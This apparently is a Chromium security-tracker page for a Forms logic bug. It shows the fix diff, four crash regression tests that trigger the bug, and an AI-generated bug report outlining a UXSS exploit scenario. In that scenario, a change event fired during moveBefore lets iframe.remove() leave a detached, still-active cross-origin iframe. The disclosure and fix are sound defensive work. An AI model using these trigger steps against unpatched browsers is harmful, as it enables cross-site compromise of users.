Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInappropriate implementation in Forms
DescriptionInappropriate implementation in Forms
ComponentForms
Bug ClassLogic Error
Tracker523756329
Fix commit126b63885ce7 (chromium/src) +360/-58
CISA KEVNot listed
CreditedGoogle
Disclosed2026-07-08

Changed Functions

FunctionChangeNotes
if
third_party/blink/renderer/core/html/forms/html_field_set_element.cc
modified

Files Changed

  • third_party/blink/renderer/core/html/custom/custom_element_definition.cc
  • third_party/blink/renderer/core/html/forms/file_input_type.cc
  • third_party/blink/renderer/core/html/forms/file_input_type.h
  • third_party/blink/renderer/core/html/forms/html_field_set_element.cc
  • third_party/blink/renderer/core/html/forms/html_field_set_element.h
  • third_party/blink/renderer/core/html/forms/html_form_control_element.cc
From 126b63885ce76abb52318ff90cb0534339820326 Mon Sep 17 00:00:00 2001
From: Joey Arhar <jarhar@chromium.org>
Date: Thu, 25 Jun 2026 08:05:47 -0700
Subject: [PATCH] Don't fire change event during mutations affecting disabledness

Running script inside mutations (InsertedInto, RemovedFrom, MovedFrom)
is not allowed.

Fixed: 523756329, 523748081, 523737685
Change-Id: Ib0842d5c8fcf837d96f270a8d50d4189ef151d06
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7948021
Reviewed-by: Joey Arhar <jarhar@chromium.org>
Reviewed-by: David Baron <dbaron@chromium.org>
Commit-Queue: Joey Arhar <jarhar@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1652428}
---

diff --git a/third_party/blink/renderer/core/html/custom/custom_element_definition.cc b/third_party/blink/renderer/core/html/custom/custom_element_definition.cc
index 68afcd48..d0d4b43c 100644
--- a/third_party/blink/renderer/core/html/custom/custom_element_definition.cc
+++ b/third_party/blink/renderer/core/html/custom/custom_element_definition.cc
@@ -248,8 +248,10 @@
   if (ListedElement* listed_element = ListedElement::From(element)) {
     if (element.FastHasAttribute(html_names::kReadonlyAttr))
       listed_element->ReadonlyAttributeChanged();
-    if (element.FastHasAttribute(html_names::kDisabledAttr))
-      listed_element->DisabledAttributeChanged();
+    if (element.FastHasAttribute(html_names::kDisabledAttr)) {
+      listed_element->DisabledAttributeChanged(
+          DisabledChangedReason::kAttributeChanged);
+    }
   }
 
   if (IsFormAssociated())
diff --git a/third_party/blink/renderer/core/html/forms/file_input_type.cc b/third_party/blink/renderer/core/html/forms/file_input_type.cc
index 8382530..2240228 100644
--- a/third_party/blink/renderer/core/html/forms/file_input_type.cc
+++ b/third_party/blink/renderer/core/html/forms/file_input_type.cc
@@ -418,7 +418,7 @@
   return GetElement().EnsureShadowSubtree()->lastChild();
 }
 
-void FileInputType::DisabledAttributeChanged() {
+void FileInputType::DisabledAttributeChanged(DisabledChangedReason reason) {
   if (Element* button = UploadButton()) {
     button->SetBooleanAttribute(html_names::kDisabledAttr,
                                 GetElement().IsDisabledFormControl());
diff --git a/third_party/blink/renderer/core/html/forms/file_input_type.h b/third_party/blink/renderer/core/html/forms/file_input_type.h
index d0be314..152b29c 100644
--- a/third_party/blink/renderer/core/html/forms/file_input_type.h
+++ b/third_party/blink/renderer/core/html/forms/file_input_type.h
@@ -88,7 +88,7 @@
   String DroppedFileSystemId() override;
   void CreateShadowSubtree() override;
   HTMLInputElement* UploadButton() const override;
-  void DisabledAttributeChanged() override;
+  void DisabledAttributeChanged(DisabledChangedReason) override;
   void MultipleAttributeChanged() override;
   String DefaultToolTip(const InputTypeView&) const override;
   void CopyNonAttributeProperties(const HTMLInputElement&) override;
diff --git a/third_party/blink/renderer/core/html/forms/html_field_set_element.cc b/third_party/blink/renderer/core/html/forms/html_field_set_element.cc
index bca3141..5e947482 100644
--- a/third_party/blink/renderer/core/html/forms/html_field_set_element.cc
+++ b/third_party/blink/renderer/core/html/forms/html_field_set_element.cc
@@ -24,6 +24,7 @@
 
 #include "third_party/blink/renderer/core/html/forms/html_field_set_element.h"
 
+#include "base/auto_reset.h"
 #include "third_party/blink/renderer/core/dom/element_traversal.h"
 #include "third_party/blink/renderer/core/dom/events/event_dispatch_forbidden_scope.h"
 #include "third_party/blink/renderer/core/dom/layout_tree_builder_traversal.h"
@@ -35,6 +36,7 @@
 #include "third_party/blink/renderer/core/html_names.h"
 #include "third_party/blink/renderer/core/layout/forms/layout_fieldset.h"
 #include "third_party/blink/renderer/core/layout/layout_block.h"
+#include "third_party/blink/renderer/platform/runtime_enabled_features.h"
 #include "third_party/blink/renderer/platform/wtf/std_lib_extras.h"
 
 namespace blink {
@@ -124,18 +126,21 @@
 // Returns a disabled focused element if it's in descendants of |base|.
 Element*
 HTMLFieldSetElement::InvalidateDescendantDisabledStateAndFindFocusedOne(
-    Element& base) {
+    Element& base,
+    DisabledChangedReason reason) {
   Element* focused_element = AdjustedFocusedElementInTreeScope();
   bool should_blur = false;
   {
     EventDispatchForbiddenScope event_forbidden;
     for (HTMLElement& element : Traversal<HTMLElement>::DescendantsOf(base)) {
-      if (auto* control = DynamicTo<HTMLFormControlElement>(element))
-        control->AncestorDisabledStateWasChanged();
-      else if (element.IsFormAssociatedCustomElement())
-        element.EnsureElementInternals().AncestorDisabledStateWasChanged();
-      else
+      if (auto* control = DynamicTo<HTMLFormControlElement>(element)) {
+        control->AncestorDisabledStateWasChanged(reason);
+      } else if (element.IsFormAssociatedCustomElement()) {
+        element.EnsureElementInternals().AncestorDisabledStateWasChanged(
+            reason);
+      } else {
         continue;
+      }
       if (focused_element == &element && element.IsDisabledFormControl())
         should_blur = true;
     }
@@ -143,11 +148,12 @@
   return should_blur ? focused_element : nullptr;
 }
 
-void HTMLFieldSetElement::DisabledAttributeChanged() {
+void HTMLFieldSetElement::DisabledAttributeChanged(
+    DisabledChangedReason reason) {
   bool was_disabled = IsSelfDisabledIgnoringAncestors();
   // This element must be updated before the style of nodes in its subtree gets
   // recalculated.
-  HTMLFormControlElement::DisabledAttributeChanged();
+  HTMLFormControlElement::DisabledAttributeChanged(reason);
   if (was_disabled != IsSelfDisabledIgnoringAncestors()) {
     Document& document = GetDocument();
     if (was_disabled) {
@@ -157,16 +163,18 @@
     }
   }
   if (Element* focused_element =
-          InvalidateDescendantDisabledStateAndFindFocusedOne(*this))
+          InvalidateDescendantDisabledStateAndFindFocusedOne(*this, reason)) {
     focused_element->blur();
+  }
 }
 
-void HTMLFieldSetElement::AncestorDisabledStateWasChanged() {
+void HTMLFieldSetElement::AncestorDisabledStateWasChanged(
+    DisabledChangedReason reason) {
   ancestor_disabled_state_ = AncestorDisabledState::kUnknown;
   // Do not re-enter HTMLFieldSetElement::DisabledAttributeChanged(), so that
   // we only invalidate this element's own disabled state and do not traverse
   // the descendants.
-  HTMLFormControlElement::DisabledAttributeChanged();
+  HTMLFormControlElement::DisabledAttributeChanged(reason);
 }
 
 void HTMLFieldSetElement::DidMoveToNewDocument(Document& old_document) {
@@ -184,9 +192,10 @@
     EventDispatchForbiddenScope event_forbidden;
     for (HTMLLegendElement& legend :
          Traversal<HTMLLegendElement>::ChildrenOf(*this)) {
-      if (Element* element =
-              InvalidateDescendantDisabledStateAndFindFocusedOne(legend))
+      if (Element* element = InvalidateDescendantDisabledStateAndFindFocusedOne(
+              legend, DisabledChangedReason::kFieldsetChildrenChanged)) {
         focused_element = element;
+      }
     }
   }
   if (!GetDocument().StatePreservingAtomicMoveInProgress() && focused_element) {
diff --git a/third_party/blink/renderer/core/html/forms/html_field_set_element.h b/third_party/blink/renderer/core/html/forms/html_field_set_element.h
index 69c6ded..1c132ab 100644
--- a/third_party/blink/renderer/core/html/forms/html_field_set_element.h
+++ b/third_party/blink/renderer/core/html/forms/html_field_set_element.h
@@ -49,8 +49,8 @@
   void UpdateMenuItemCheckableExclusivity(HTMLMenuItemElement*);
 
  protected:
-  void DisabledAttributeChanged() override;
-  void AncestorDisabledStateWasChanged() override;
+  void DisabledAttributeChanged(DisabledChangedReason) override;
+  void AncestorDisabledStateWasChanged(DisabledChangedReason) override;
   void DidMoveToNewDocument(Document& old_document) override;
 
  private:
@@ -70,7 +70,9 @@
   bool MatchesEnabledPseudoClass() const final;
   bool MatchesDisabledPseudoClass() const final;
 
-  Element* InvalidateDescendantDisabledStateAndFindFocusedOne(Element& base);
+  Element* InvalidateDescendantDisabledStateAndFindFocusedOne(
+      Element& base,
+      DisabledChangedReason);
 };
 
 }  // namespace blink
diff --git a/third_party/blink/renderer/core/html/forms/html_form_control_element.cc b/third_party/blink/renderer/core/html/forms/html_form_control_element.cc
index a60b067..e6bedb46 100644
--- a/third_party/blink/renderer/core/html/forms/html_form_control_element.cc
+++ b/third_party/blink/renderer/core/html/forms/html_form_control_element.cc
@@ -149,7 +149,7 @@
   HTMLElement::AttributeChanged(params);
   if (params.name == html_names::kDisabledAttr &&
       params.old_value.IsNull() != params.new_value.IsNull()) {
-    DisabledAttributeChanged();
+    DisabledAttributeChanged(DisabledChangedReason::kAttributeChanged);
     if (params.reason == AttributeModificationReason::kDirectly &&
         IsDisabledFormControl() && AdjustedFocusedElementInTreeScope() == this)
       blur();
@@ -181,12 +181,13 @@
   }
 }
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/blink/web_tests/external/wpt/dom/nodes/insertBefore-iframe-crash.html b/third_party/blink/web_tests/external/wpt/dom/nodes/insertBefore-iframe-crash.html
new file mode 100644
index 0000000..0effea6
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/dom/nodes/insertBefore-iframe-crash.html
@@ -0,0 +1,61 @@
+<!DOCTYPE html>
+<html class="test-wait">
+<link rel=author href="mailto:jarhar@chromium.org">
+<link rel=help href="https://issues.chromium.org/issues/523756329">
+<script src="/resources/testdriver.js"></script>
+<script src="/resources/testdriver-actions.js"></script>
+<script src="/resources/testdriver-vendor.js"></script>
+<style>
+  #num {
+    width: 200px;
+    height: 60px;
+    font-size: 30px;
+  }
+</style>
+
+<fieldset id=fs disabled>
+  <legend id=legend1>
+    <input id=num type=number value=5>
+  </legend>
+  <legend id=legend2>second</legend>
+</fieldset>
+
+<div id=iframe-host>
+  <iframe id=iframe src="about:blank"></iframe>
+</div>
+
+<script>
+window.onload = async () => {
+  const fs = document.getElementById('fs');
+  const legend1 = document.getElementById('legend1');
+  const legend2 = document.getElementById('legend2');
+  const num = document.getElementById('num');
+  const iframe = document.getElementById('iframe');
+
+  await new Promise(requestAnimationFrame);
+  await new Promise(requestAnimationFrame);
+
+  num.addEventListener('change', () => {
+    iframe.remove();
+  });
+
+  // Target the spin button (step-up arrow) which is on the right edge, upper half.
+  // We calculate the offset from the center of the input element.
+  const rect = num.getBoundingClientRect();
+  const offsetX = Math.round(rect.width / 2 - 7);
+  const offsetY = Math.round(-rect.height / 4);
+
+  // Press and hold the spin button
+  await new test_driver.Actions()
+    .pointerMove(offsetX, offsetY, {origin: num})
+    .pointerDown()
+    .send();
+
+  // Wait a frame to ensure the pointer down is processed and value is stepped
+  await new Promise(requestAnimationFrame);
+
+  fs.insertBefore(legend2, legend1);
+  document.body.appendChild(iframe);
+  document.documentElement.classList.remove('test-wait');
+}
+</script>
diff --git a/third_party/blink/web_tests/external/wpt/dom/nodes/moveBefore/moveBefore-iframe-crash.html b/third_party/blink/web_tests/external/wpt/dom/nodes/moveBefore/moveBefore-iframe-crash.html
new file mode 100644
index 0000000..acc8fca
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/dom/nodes/moveBefore/moveBefore-iframe-crash.html
@@ -0,0 +1,61 @@
+<!DOCTYPE html>
+<html class="test-wait">
+<link rel=author href="mailto:jarhar@chromium.org">
+<link rel=help href="https://issues.chromium.org/issues/523756329">
+<script src="/resources/testdriver.js"></script>
+<script src="/resources/testdriver-actions.js"></script>
+<script src="/resources/testdriver-vendor.js"></script>
+<style>
+  #num {
+    width: 200px;
+    height: 60px;
+    font-size: 30px;
+  }
+</style>
+
+<fieldset id=fs disabled>
+  <legend id=legend1>
+    <input id=num type=number value=5>
+  </legend>
+  <legend id=legend2>second</legend>
+</fieldset>
+
+<div id=iframe-host>
+  <iframe id=iframe src="about:blank"></iframe>
+</div>
+
+<script>
+window.onload = async () => {
+  const fs = document.getElementById('fs');
+  const legend1 = document.getElementById('legend1');
+  const legend2 = document.getElementById('legend2');
+  const num = document.getElementById('num');
+  const iframe = document.getElementById('iframe');
+
+  await new Promise(requestAnimationFrame);
+  await new Promise(requestAnimationFrame);
+
+  num.addEventListener('change', () => {
+    iframe.remove();
+  });
+
+  // Target the spin button (step-up arrow) which is on the right edge, upper half.
+  // We calculate the offset from the center of the input element.
+  const rect = num.getBoundingClientRect();
+  const offsetX = Math.round(rect.width / 2 - 7);
+  const offsetY = Math.round(-rect.height / 4);
+
+  // Press and hold the spin button
+  await new test_driver.Actions()
+    .pointerMove(offsetX, offsetY, {origin: num})
+    .pointerDown()
+    .send();
+
+  // Wait a frame to ensure the pointer down is processed and value is stepped
+  await new Promise(requestAnimationFrame);
+
+  fs.moveBefore(legend2, legend1);
+  document.body.appendChild(iframe);
+  document.documentElement.classList.remove('test-wait');
+}
+</script>
diff --git a/third_party/blink/web_tests/external/wpt/dom/nodes/moveBefore/moveBefore-legend-input-crash.html b/third_party/blink/web_tests/external/wpt/dom/nodes/moveBefore/moveBefore-legend-input-crash.html
new file mode 100644
index 0000000..06b55c2
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/dom/nodes/moveBefore/moveBefore-legend-input-crash.html
@@ -0,0 +1,58 @@
+<!DOCTYPE html>
+<html class="test-wait">
+<link rel=author href="mailto:jarhar@chromium.org">
+<link rel=help href="https://issues.chromium.org/issues/523756329">
+<script src="/resources/testdriver.js"></script>
+<script src="/resources/testdriver-actions.js"></script>
+<script src="/resources/testdriver-vendor.js"></script>
+<style>
+  #num {
+    width: 200px;
+    height: 60px;
+    font-size: 30px;
+  }
+</style>
+
+<fieldset id=fieldset disabled>
+  <legend id=legend>
+    <input id=num type=number value=5>
+  </legend>
+  <span id=pad></span>
+</fieldset>
+
+<div id=iframe-host>
+  <iframe id=iframe srcdoc="<h1>iframe</h1>"></iframe>
+</div>
+
+<script>
+window.onload = async () => {
+  const fieldset = document.getElementById('fieldset');
+  const legend = document.getElementById('legend');
+  const num = document.getElementById('num');
+  const iframe = document.getElementById('iframe');
+
+  await new Promise(requestAnimationFrame);
+  await new Promise(requestAnimationFrame);
+
+  num.addEventListener('change', () => {
+    iframe.remove();
+  });
+
+  // Target the spin button (step-up arrow) which is on the right edge, upper half.
+  const rect = num.getBoundingClientRect();
+  const offsetX = Math.round(rect.width / 2 - 7);
+  const offsetY = Math.round(-rect.height / 4);
+
+  // Press and hold the spin button to get capture
+  await new test_driver.Actions()
+    .pointerMove(offsetX, offsetY, {origin: num})
+    .pointerDown()
+    .send();
+  await new Promise(requestAnimationFrame);
+
+  fieldset.moveBefore(legend, null);
+  document.body.appendChild(iframe);
+  await new Promise(requestAnimationFrame);
+  document.documentElement.classList.remove('test-wait');
+}
+</script>
diff --git a/third_party/blink/web_tests/external/wpt/dom/nodes/moveBefore/moveBefore-range-iframe-crash.html b/third_party/blink/web_tests/external/wpt/dom/nodes/moveBefore/moveBefore-range-iframe-crash.html
new file mode 100644
index 0000000..abde4a8
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/dom/nodes/moveBefore/moveBefore-range-iframe-crash.html
@@ -0,0 +1,54 @@
+<!DOCTYPE html>
+<html class="test-wait">
+<link rel=author href="mailto:jarhar@chromium.org">
+<link rel=help href="https://issues.chromium.org/issues/523748081">
+<script src="/resources/testdriver.js"></script>
+<script src="/resources/testdriver-actions.js"></script>
+<script src="/resources/testdriver-vendor.js"></script>
+<style>
+  #slider { width: 400px; height: 30px; }
+</style>
+
+<legend id=legend1>legend1</legend>
+
+<fieldset id=fs disabled>
+  <legend id=legend2>
+    <input type=range id=slider min=0 max=100 value=50>
+  </legend>
+</fieldset>
+
+<iframe id=iframe srcdoc="<body>iframe</body>"></iframe>
+
+<script>
+window.onload = async () => {
+  const slider = document.getElementById("slider");
+  const fs = document.getElementById("fs");
+  const legend1 = document.getElementById("legend1");
+  const legend2 = document.getElementById("legend2");
+  const iframe = document.getElementById("iframe");
+
+  await new Promise(requestAnimationFrame);
+
+  slider.addEventListener("change", () => {
+    iframe.remove();
+  }, { once: true });
+
+  slider.addEventListener("input", () => {
+    fs.moveBefore(legend1, legend2);
+    document.body.appendChild(iframe);
+    document.documentElement.classList.remove('test-wait');
+  }, { once: true });
+
+  const rect = slider.getBoundingClientRect();
+  const offsetX = Math.round(rect.width * 0.4);
+  const offsetY = 0;
+
+  await new test_driver.Actions()
+    .pointerMove(offsetX, offsetY, {origin: slider})
+    .pointerDown()
+    .pause(50)
+    .pointerMove(offsetX + 5, offsetY, {origin: slider})
+    .pointerUp()
+    .send();
+};
+</script>
Loading diff…

Original Bug Report

reported by rj...@google.com

UXSS via StatePreservingAtomicMoveInProgress bypass in SpinButtonElement

Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.

Overview: A missing event queue scope in TextFieldInputType allows synchronous change events to fire when a spin button becomes disabled during a moveBefore operation. This synchronous script execution occurs while StatePreservingAtomicMoveInProgress is true, allowing an attacker to bypass ChildFrameDisconnector and create a detached but active iframe.

Affected files:

  • third_party/blink/renderer/core/html/forms/text_field_input_type.cc

Estimated timestamp from git blame: Unknown (Google3 checkout)

Summary

A potential Universal Cross-Site Scripting (UXSS) vulnerability exists due to a bypass of the StatePreservingAtomicMoveInProgress flag during atomic DOM moves (via the moveBefore API).

When an input element with a spin button (<input type="number">) changes its disabled state, it releases mouse capture and dispatches a change event. If this state change is triggered by a moveBefore operation (e.g., reordering <legend> elements in a disabled <fieldset>), the change event is dispatched synchronously because TextFieldInputType::DisabledOrReadonlyAttributeChanged lacks an EventQueueScope.

Because EventDispatchForbiddenScope does not block execution in production builds, attacker-controlled JavaScript can execute while the document’s StatePreservingAtomicMoveInProgress flag is globally true. The attacker can use this window to call iframe.remove(). The removal logic in ContainerNode::RemoveChild checks the atomic move flag and skips ChildFrameDisconnector, resulting in a detached but active iframe.

Potential Exploit Scenario

(Note: These are suggested steps based on static analysis; a working proof-of-concept has not been executed).

  1. Setup: An attacker creates a page with a disabled <fieldset> containing multiple <legend> elements. In the first <legend>, they place an <input type="number">. By HTML specification, this input is enabled because it resides in the first legend.
  2. Target: The attacker creates a cross-origin <iframe> in the document.
  3. Event Listener: The attacker attaches a change event listener to the <input>.
  4. Interaction: The user clicks and holds the spin button on the input. This changes the input’s value and sets capturing_ = true in SpinButtonElement.
  5. Atomic Move: While capture is held, the attacker’s script initiates a DOM move: fieldset.moveBefore(secondLegend, firstLegend).
  6. Flag Set: Node::moveBefore sets GetDocument().SetStatePreservingAtomicMoveInProgress(true) to protect the DOM during the transition.
  7. State Change: moveBefore calls insertBefore. During the insertion phase, HTMLFieldSetElement::ChildrenChanged recalculates descendant states. Because the input is no longer in the first legend, it becomes disabled.
  8. Synchronous Event: TextFieldInputType::DisabledOrReadonlyAttributeChanged is called. It commands the spin button to ReleaseCapture(), which synchronously dispatches the change event. In production, EventDispatchForbiddenScope is a no-op, and without an EventQueueScope, the event executes immediately.
  9. Bypassing Disconnection: Inside the change event listener, the attacker calls iframe.remove().
  10. Detached Iframe: ContainerNode::RemoveChild executes. It observes that StatePreservingAtomicMoveInProgress() is true, and therefore skips the ChildFrameDisconnector. The iframe is removed from the DOM tree, but its underlying frame remains connected and active, bypassing Site Isolation.

Root Cause Analysis

In third_party/blink/renderer/core/html/forms/text_field_input_type.cc, the DisabledOrReadonlyAttributeChanged function lacks an EventQueueScope:

void TextFieldInputType::DisabledOrReadonlyAttributeChanged() {
  if (SpinButtonElement* spin_button = GetSpinButtonElement())
    spin_button->ReleaseCapture(); // Dispatches event synchronously
  UpdateWheelEventRegistration(/*is_detaching=*/false);
}

Other similar methods in Blink (like MultipleFieldsTemporalInputTypeView::DisabledAttributeChanged) correctly instantiate an EventQueueScope to defer events when the element state changes programmatically during a broader DOM operation.

  1. Queue Events: Introduce an EventQueueScope in TextFieldInputType::DisabledOrReadonlyAttributeChanged (and potentially ReadonlyAttributeChanged / DisabledAttributeChanged) to ensure that change events triggered by capture release are deferred until the current DOM mutation is complete.
void TextFieldInputType::DisabledOrReadonlyAttributeChanged() {
  EventQueueScope scope;
  if (SpinButtonElement* spin_button = GetSpinButtonElement())
    spin_button->ReleaseCapture();
  UpdateWheelEventRegistration(/*is_detaching=*/false);
}
  1. Check Atomic Move State: Alternatively, or additionally, TextFieldInputType or SpinButtonElement could verify !GetElement().GetDocument().StatePreservingAtomicMoveInProgress() before dispatching events or releasing capture.

Evaluated with Chrome root at commit: 65b3256311f3ab6fb9870eaa522de7e6dd2663bb


Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:

  • If you are familiar with the severity guidelines, you may adjust the severity.
  • If this is a false positive, and there’s no work to be done, please close as WAI.
  • If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.

Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker